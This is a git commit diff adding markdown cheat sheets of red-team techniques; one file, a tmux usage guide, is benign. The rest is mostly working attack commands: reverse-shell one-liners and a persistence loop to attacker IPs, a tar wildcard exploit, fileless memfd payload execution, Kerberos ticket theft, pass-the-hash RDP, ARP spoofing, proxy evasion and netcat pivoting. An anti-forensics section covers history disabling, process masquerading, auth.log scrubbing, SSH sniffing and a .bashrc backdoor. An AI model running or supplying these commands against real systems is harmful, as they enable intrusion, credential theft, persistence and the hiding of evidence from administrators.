first commit

2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,103 @@
+- Reverse shell one-liners:
+	- Telnet:
+		- `mkfifo /tmp/cth; sh -i 2>&1 </tmp/cth | telnet <atkIP> 8443 >/tmp/cth; rm /tmp/cth`
+		- `(touch /dev/shm/cth; sleep 60; rm -f /dev/shm/cth) & tail -f /dev/shm/cth | sh -i 2>&1 | telnet <atkIP> <port> >/dev/shm/cth`
+	- Encrypted
+		- Ncat
+			1. Listener: `ncat —ssl -nlvp 443`
+			2. Connector: `ncat —ssl <listener ip> 443 -e /bin/bash`
+	- Quick persistence
+		- `while :; do setsid bash -i &>/dev/tcp/1.1.1.1/8443 0>&1; sleep 120; done &>/dev/null &`
+- Find all files owned by a user in Linux, disregarding /proc and /sys files
+	- `find / -user <username> -ls 2>/dev/null | grep -v '/proc\| /run\| /sys'`
+- Log everything that happens in a terminal/tmux pane
+	- `script <filename.log>`
+- Download files
+	- BASH only: `bash -c "cat < /dev/tcp/10.13.10.69/18110" > nmap`
+	- Encrypted:
+		- Encrypt: `openssl enc -aes-256-cbc -pbkdf2 -k strongPass <input.txt >input.txt.enc`
+		- Decrypt: `openssl enc -d -aes-256-cbc -pbkdf2 -k strongPass <input.txt.enc >input.txt`
+- TAR exploit:
+	```BASH
+	echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
+	echo "" > "--checkpoint-action=exec=sh shell.sh"
+	echo "" > --checkpoint=1
+	tar cf archive.tar *
+	```
+- Upgrade reverse shell
+	- Using socat (upload static binary)
+		- On target: ```socat file:`tty`,raw,echo=0 tcp-listen:4444```
+		- On attacker: ```socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attackerip>:4444```
+- Extract Kerberos ccache files
+	- ccache files for logged-in users are located in /tmp
+		- `scp root@10.10.120.45:/tmp/krb5cc\_613405103\_HEquhW .`
+	- Convert ccache file into .kirbi file using impacket
+		- `impacket-ticketConverter krb5cc\_613405103\_HEquhW amitchell.kirbi`
+	- kerberos_ticket_use to leverage the TGT
+- View neighbor IPs (useful for docker containers)
+	- `ip ne`
+	- `"ip -br -c ne`
+- Generate public RSA key from private
+	- `ssh-keygen -y -e -f id_rsa`
+- IPtables
+	- `iptables -A INPUT -s <RHOST> -p tcp --dport <LPORT> -j ACCEPT`
+		- Omit `-s` to open a port to connections from all origins
+		- `--dport` can accept a range of ports as well as single ports
+- ARP
+	- See local ARP cache
+		- `arp -n`
+		- `arp -a -i <interface>`
+	- arp-scan
+	- ARP spoof/poisoning
+		- `./arplayer spoof -I wlp1s0 -vvv -F -b 192.168.1.101 192.168.1.1`
+	- ARP scan
+		- `./arplayer scan -I wlp1s0 -w 10 -t 1000`
+- Ping Sweep
+	- `for i in `seq 1 255`; do ping -c 1 192.168.1.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done`
+- SMB Service Discovery
+	- `nbtscan –v –s : x.x.x.x/24 | cut -d “:“ –f 1 > smb-hosts.txt`
+	- Check for SMB signing:
+		- `smbclient --client-protection=off` and observe response
+- Any Service Discovery
+	- `for i in `seq 1 254`; do nc -zvw1 x.x.x.$i SERVICE_PORT 2>&1 | grep "Connected" | cut -d " " -f4 | cut -d ":" -f1 >> x-hosts.txt;done`
+- NFS Shares
+	- Display the NFS server's export list of mountable shares
+		- `showmount -e <ip>`
+	- List both the client hostname or IP address and mounted directory
+		- `showmount -a <ip>`
+	- Mount an NFS share located at IP to /mnt/nfs
+		- `sudo mount -t nfs <ip>:<share name> /mnt/nfs`
+- ss
+	- Show listening ports like `netstat -anp tcp`
+		- `ss -tulpn`
+- Rename terminal
+	```BASH
+	#!bin/bash
+	echo -ne "\033]0;${1}\007"
+	```
+
+- Using shar to pack files/tools for target:
+	1. Pack files on attack machine: `shar *.exe *.kirbi >a.shar`
+	2. Execute on target to extract: `chmod +x a.shar; ./a.shar`
+
+- Propertly destroy file instead of just deleting:
+	- `shred -z cthulhu.txt`
+
+- Run files without touching disk
+	- Python
+		- `python3 -c 'import os; import urllib.request; d = urllib.request.urlopen("https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap?raw=true"); fd = os.memfd_create("foo"); os.write(fd, http://d.read()); p = f"/proc/self/fd/{fd}"; os.execve(p, [p, "-h"],{})'`
+	- No python:
+		- [Ippsec video on LOL](https://www.youtube.com/watch?v=MaBurwnrI4s)
+- If you don't have `ifconfig` or `ip` and need to enumerate networking information (such as if you're in a Docker container):
+	- View the local IP
+		- `cat /proc/net/fib_trie`
+	- View port data in hex:
+		- `cat /proc/net/tcp`
+- ldapsearch for Active Directory recon
+	- `ldapsearch –x –h 10.0.0.1 –b “DC=contoso,DC=com”`
+	- Look for OUs in the dump to get a sense for how domain is organized
+	- Mount SYSVOL:
+		- look in scripts folder for file shares mapped on user login
+		- look at GPO that sets bookmarks and evaluate the bookmarks for internal hosts
+- Colorize your reverse shell:
+	- `export TERM=xterm-256color; export SHELL=bash; export LS_OPTIONS='--color=auto'; eval "`dircolors`"; alias ls='ls $LS_OPTIONS'; export PS1='\[\e]0;\u@\h: \w\a\]\[\033[01;32m\]\u@\h\[\033[01;34m\] \w\$\[\033[00m\] '; clear`
@@ -0,0 +1,25 @@
+- In-memory binary file execution
+	- Use `memfd` syscall to create a virtual file entirely in memory and then use the file's symbolic link (`/proc/self/fd/<id>`) to execute it.
+	- Basic process:
+		1. Encrypt/encode payload
+		2. Host and download payload
+		3. Decrypt payload in memory and initialize "anonymous" file using `memfd`
+		4. Copy decrypted payload into memory-only file and execute
+- High-level pseudocode:
+```Go
+func main() {
+	 // Download the encrypted payload
+	 data, err := getURLContent(path)
+	 // Decrypt it using XOR operation
+	 decryptedData := decryptXor(data, []byte("verylongkey"))
+	 // Create an anonymous file in memory
+	 mfd, err := memfd.Create()
+	 // Write the decrypted payload to the file
+	 mfd.Write(decryptedData)
+	 // Get the symbolic link to the file
+	 filePath := fmt.Sprintf("/proc/self/fd/%d", mfd.Fd())
+	 // Execute the file
+	 cmd := exec.Command(filePath)
+	 out, err := cmd.Run()
+}
+```
@@ -0,0 +1,21 @@
+- LDAP
+	- `ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "[email protected]" -b "dc=contoso,dc=local" "(objectclass=computer)" "DNSHostName" "OperatingSystem"`
+		- Generally requires domain creds
+- `nbtscan 192.168.100.0/24`
+	- Scan NetBIOS name service on 137
+- `ntlm-info smb 192.168.100.0/24`
+	- Scan SMB
+- RDP
+	- `xfreerdp /u:[email protected] /pth:cdeae556dc28c24b5b7b14e9df5b6e21 /v:192.168.122.143`
+	- From Windows, can inject NT hash/Kerb ticket with Mimikatz or Rubeus, then use mstsc.exe /restrictedadmin to RDP without password
+- RPCClient
+	- `rpcclient <IP> [-U '']`
+	- Enumerate domain users
+		- `rpcclient -enumdomusers`
+	- Display info on domain users
+		- `querydispinfo`
+- - If a proxy is blocking your files, try the following:
+	- Rename file and place false magic bytes at beginning
+		- `sed '1s/^/GIF87a/' calc.exe > calc.gif`
+	- Download, stripping the false magic bytes
+		- `curl.exe -qk -X GET -C 6 https://example.com/calc.gif > calc.exe`
@@ -0,0 +1,23 @@
+- sshuttle
+	- `sshuttle -r username@sshserver 0.0.0.0/0 -vv`
+	- `sshuttle -r username@sshserver 0/0 -vv`
+	- `sshuttle --dns -vvr username@sshserver 0/0`
+- Using netcat to foward internal traffic
+	- On remote host - setup listener by creating backpipe
+		- `mkfifo pipe`
+		- `mknod pivot p`
+	- Setup listener on pivot machine to forward an internal machine's port
+		- `nc -l -p 9001 0<pivot | nc <internal-rhost> <i-rhost-port> 1>pivot`
+		- `nc -l -p 9001 0<pivot | nc 172.16.50.222 22 1>pivot`
+	- check that you can use see the interface open on the external machine
+		- `nmap -p 22 9001 rhost OR nmap -p 22 172.1.1.1`
+- Ncat port fowwarder (with listener on attacking lhost machine instead of external hacked machine)
+	- On attacker machine
+		- `ncat -lv --broker -m2 <port-number>`
+		- `ncat -lv --broker -m2 8900`
+	- On pivot machine
+		- `ncat -v <attack-lhost-ip> <attacker-lport> -c "nc -v <internal-rhost-to-pivot-to> <port-on-final-rhost>`
+		- `ncat -v 10.13.37.10 8900 -c "nc -v 172.16.50.222 80"`
+	- View traffic
+		- `curl http://localhost:8900`
+		- `ssh user@localhost -p 8900`
@@ -0,0 +1,86 @@
+- Installing tmux
+	`sudo apt install -y tmux`
+		* will be different based on your Linux distro
+- Built in Help menu for all tmux commands
+	`ctrl+b+?`
+	`q` to quit
+- Manage Tmux Sessions
+	- Start a new tmux session
+		`tmux`
+		`tmux new -s <session-name>`
+	- Rename the current tmux Session
+		`ctrl+b+$`
+			* Retype session name and save with the enter-key
+	- Swap between different sessions within the current session
+		`ctrl+b+s`
+			* Arrow key up/down and select session with the enter-key
+	- Detach and Attach to a active tmux session without closing it
+		1. Detach from the current tmux session
+			`ctrl+b+d`
+		2. Attach to a active tmux session
+			`tmux a`
+			`tmux a -t <tmux-session-name>`
+		- Double check for any active tmux sessions
+			`tmux ls`
+			`tmux list-sessions`
+- Manage Tmux Windows
+	- Swap between tmux windows
+		`ctrl+b+n` 0r `ctrl+b+p`
+		`ctrl+b+w`
+			* Arrow key up/down and select tmux window with the enter-key
+		- Swap between the <2> last used tmux windows
+				`ctrl+b+l`
+	- Rename the currently selected tmux window
+		`ctrl+b+,`
+			* Retype name and save with the enter-key
+- Manage Tmux Panes
+	- Split tmux panes Horizontally
+		`ctrl+b+"`
+	- Split tmux panes Vertically
+		`ctrl+b+%`
+	- Detach a tmux pane into its own tmux window
+		`ctrl+b+!`
+	- Zoom into a tmux pane without spliting it into its own window
+		`ctrl+b+z`
+		`ctrl+b+z`
+			* "Same command again to undo the zoom in"
+	- Move between different tmux panes in the same tmux window
+		1. With Arrow Keys
+			`ctrl+b`
+				* Move to the pane you want to select/use with the arrow keys
+		2. Between the 2 last used tmux panes
+			`ctrl+b+;`
+		3. cycle between all tmux panes
+			`ctrl+b+o`
+		4. Using the q -> pane number method
+			`ctrl+b+q`
+			- select the pane by pressing the number of that window
+- Grep/Search for Text up or down the page
+	- Search `<Up>` the page
+		1. Enter Scroll Mode
+			`ctrl+b+[`
+		2. Search Up the page
+			`ctrl+r`
+				* Do `ctrl+r` again to keep searching up the page
+				* Go back into Scroll mode next to the text you found in grep/search mode without going to back to the bottom
+					`Enter-Key`
+	- Search `<Down>` the page
+		1. Enter Scroll Mode
+			`ctrl+b+[`
+		2. Search Down the page
+			`ctrl+s`
+				* Do `ctrl+s` again to keep searching down the page
+				* Go back into Scroll mode next to the text you found in grep/search mode without going to back to the bottom
+					`Enter-Key`
+- Copy and Paste walls of text in tmux to the tmux buffer
+	1. Enter Copy/Scroll Mode
+		`ctrl+b+[`
+	2. Enable highlighting
+		`ctrl+spacebar`
+	3. Copy highlighted text to tmux clipboard
+		`alt+w`
+	4. Paste what is copied to the tmux clip board
+		`ctrl+b+]`
+	5. Extra (check what is copied to the tmux clipboard before pasting)
+		`ctrl+b+shift+#`
+		`q` to quit
@@ -0,0 +1,44 @@
+- Disable BASH history (do first in every shell)
+	- `export HISTFILE=/dev/null` OR `unset HISTFILE` OR `export HISTSIZE=0`
+- Force-terminate a shell upon exiting it to ensure there are no dangling processes
+	- `alias exit='kill -9 $$'`
+	- Note that history is only written to the disk on clean termination of the shell, so this bypasses that by simply killing it.
+- Execute a command without logging to history (lead with a space)
+	- `$  id`
+- Hide a command by masking it as syslogd (note the parentheses)
+	- `(exec -a syslogd nmap -T0 10.0.0.1/24)`
+- Start a background hidden process masked as syslogd
+	- `exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &`
+	- If there is no BASH:
+		- `cp which nmap syslogd
+		- `PATH=.:$PATH syslogd -T0 10.0.2.1/24`
+- Execute a process as syslogd and hide arguments (must download zap-args.c)
+	- `gcc -Wall -O2 -fpic -shared -o zap-args.so zap-args.c -ldl`
+	- `LD_PRELOAD=./zap-args.so exec -a syslogd nmap -T0 10.0.0.1/24`
+- Hiding an SSH connection
+	- `ssh -o UserKnownHostsFile=/dev/null -T [email protected] 'bash -i'`
+	- Your user:
+		- Is not added to /var/log/utmp
+		- Won't appear in w or who commands
+		- Has no .profile or .bash_profile
+- Modifying log files to remove evidence of us authenticating
+	- Grep out source domain/IPs and overwrite the files
+		- `cd /dev/shm; grep -v 'atkr\.com' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log`
+	- "Touch" files back to their last modified time for best results
+- Hide a file from ls command:
+	- `alias ls='ls -I malicious'`
+- Weird directory usage:
+	- `"mkdir '...'; cd '...'"`
+- Annoying tabs in directory names:
+	- `mkdir $'\t'; cd $'\t'`
+- Sniff SSH session being made from a box you control
+	- `strace -e trace=read -p <PID> 2>&1 | while read x; do echo "$x" | grep '^read.*= [1-9]$' | cut -f2 -d\"; done`
+	- The above will fail if `/proc/sys/kernel/yama/ptrace_scope = 1`
+		- Alternative: `echo 'exec script -qc /bin/bash ~/.ssh-log.txt' >>~/.profile`
+
+- Override PS in sysadmin's bashrc to grep out evil procs
+	- `echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc && touch -r /etc/passwd ~/.bashrc`
+
+- Monitor connections to determine when a user has logged in with SSH (will beep when one is detected)
+	- `tcpdump -nlq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -e '\a'; done`
+		- When SSH'd in, you'll need to change the last portion to redirect the beep to your TTY: `echo -e '\a' > /dev/tty5`